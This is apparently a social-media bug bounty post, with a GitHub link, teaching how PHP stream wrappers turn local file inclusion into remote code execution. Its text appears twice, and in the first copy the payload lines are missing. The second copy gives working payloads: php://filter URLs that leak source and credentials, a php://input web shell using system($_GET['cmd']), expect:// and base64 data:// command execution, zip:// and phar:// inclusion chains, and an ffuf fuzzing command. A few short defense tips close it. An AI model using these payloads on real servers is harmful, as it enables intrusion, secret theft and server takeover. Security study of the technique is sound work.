🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE
⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇
🎯 Why PHP Wrappers Matter in Bug Bounty
As attackers, we can abuse these wrappers to:
✅ Read raw PHP source (even when .php is auto-appended)
✅ Bypass execution to leak secrets
✅ Chain into full RCE
✅ Abuse legacy or misconfigured server behavior
Commonly used wrappers:
▶️ php://filter
▶️ php://input
▶️ php://memory
▶️ data://
▶️ expect://
▶️ zip://
▶️ phar://
🧬 Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.
Payload:
Why it works:
✅ read=convert.base64-encode prevents execution of the PHP code
✅ Base64 output = raw, readable source
Example:
Decode result:
Now you see source code, credentials, internal logic, API keys, etc.
🔧 Other Useful PHP Wrappers
1️⃣ php://input
Reads raw POST data.
Good for injecting code during file inclusions via POST.
Then POST:
✅ Shell access via cmd parameter.
2️⃣ expect:// (if available)
Allows direct execution of system commands.
⚠️ Rare but deadly if enabled.
3️⃣ data://
Inline file input using base64 or plaintext.
Example:
🟡 Executes: system('whoami')
4️⃣ zip://
✅ Targets ZIP files as file systems.
✅ Abuse via LFI to include malicious entries.
Structure:
Use this with file upload + LFI combo.
5️⃣ phar://
Deserializes metadata → use with Object Injection + LFI.
Upload malicious PHAR:
If unserialize() is called on a phar wrapper, it can lead to RCE.
🔍 Fuzzing PHP Files Before Exploiting
Watch for:
200 → exists and renders
403/302 → access denied, but still includable via LFI
📁 Standard Inclusion vs. Filtered Inclusion
Including via:
🟡 Executes file, no output if file has no HTML.
Using filter:
🟡 Returns base64 source code.
🧪 Decode & Analyze the Source Code
Look for:
✅ $db_password, $admin_pass
✅ API endpoints
✅ Sensitive routes
✅ Hardcoded JWT secrets or keys
💣 Advanced Chaining → From LFI to RCE
Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion → RCE
This chain has been used in real-world bounty reports.
🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns
🧠 Daily hacking insights
🛠 Payloads & Tools
🐞 Real bug bounty techniques
⚔️ Hands-on exploitation walkthroughs
👍 Like this post if it helped
🔁 Share to boost your hacker circle
🔗 Github link : github.com/cybersecplayground...
#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇
🎯 Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.
As attackers, we can abuse these wrappers to:
✅ Read raw PHP source (even when .php is auto-appended)
✅ Bypass execution to leak secrets
✅ Chain into full RCE
✅ Abuse legacy or misconfigured server behavior
Commonly used wrappers:
▶️ php://filter
▶️ php://input
▶️ php://memory
▶️ data://
▶️ expect://
▶️ zip://
▶️ phar://
🧬 Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.
Payload:
php://filter/read=convert.base64-encode/resource=index
Why it works:
✅ read=convert.base64-encode prevents execution of the PHP code
✅ Base64 output = raw, readable source
Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config
Decode result:
echo 'PD9waHAK...base64...' | base64 -d
Now you see source code, credentials, internal logic, API keys, etc.
🔧 Other Useful PHP Wrappers
1️⃣ php://input
Reads raw POST data.
Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>
Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>
✅ Shell access via cmd parameter.
2️⃣ expect:// (if available)
Allows direct execution of system commands.
include('expect://ls');
⚠️ Rare but deadly if enabled.
3️⃣ data://
Inline file input using base64 or plaintext.
Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');
🟡 Executes: system('whoami')
4️⃣ zip://
✅ Targets ZIP files as file systems.
✅ Abuse via LFI to include malicious entries.
Structure:
zip://path/to/archive.zip#file_inside.txt
Use this with file upload + LFI combo.
5️⃣ phar://
Deserializes metadata → use with Object Injection + LFI.
Upload malicious PHAR:
phar://path/to/phar_file
If unserialize() is called on a phar wrapper, it can lead to RCE.
🔍 Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php
Watch for:
200 → exists and renders
403/302 → access denied, but still includable via LFI
📁 Standard Inclusion vs. Filtered Inclusion
Including via:
?file=config
🟡 Executes file, no output if file has no HTML.
Using filter:
?file=php://filter/read=convert.base64-encode/resource=config
🟡 Returns base64 source code.
🧪 Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d
Look for:
✅ $db_password, $admin_pass
✅ API endpoints
✅ Sensitive routes
✅ Hardcoded JWT secrets or keys
💣 Advanced Chaining → From LFI to RCE
Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion → RCE
This chain has been used in real-world bounty reports.
🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns
🧠 Daily hacking insights
🛠 Payloads & Tools
🐞 Real bug bounty techniques
⚔️ Hands-on exploitation walkthroughs
👍 Like this post if it helped
🔁 Share to boost your hacker circle
🔗 Github link : github.com/cybersecplayground...
#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
GitHub
bugbounty-Tips-and-Tricks/TIPS/Mastering-PHP-Filters.md at main · cybersecplayground/bugbounty-Tips-and-Tricks
A curated collection of bug bounty tips, tricks, payloads, and bypass techniques - cybersecplayground/bugbounty-Tips-and-Tricks
❤5🔥1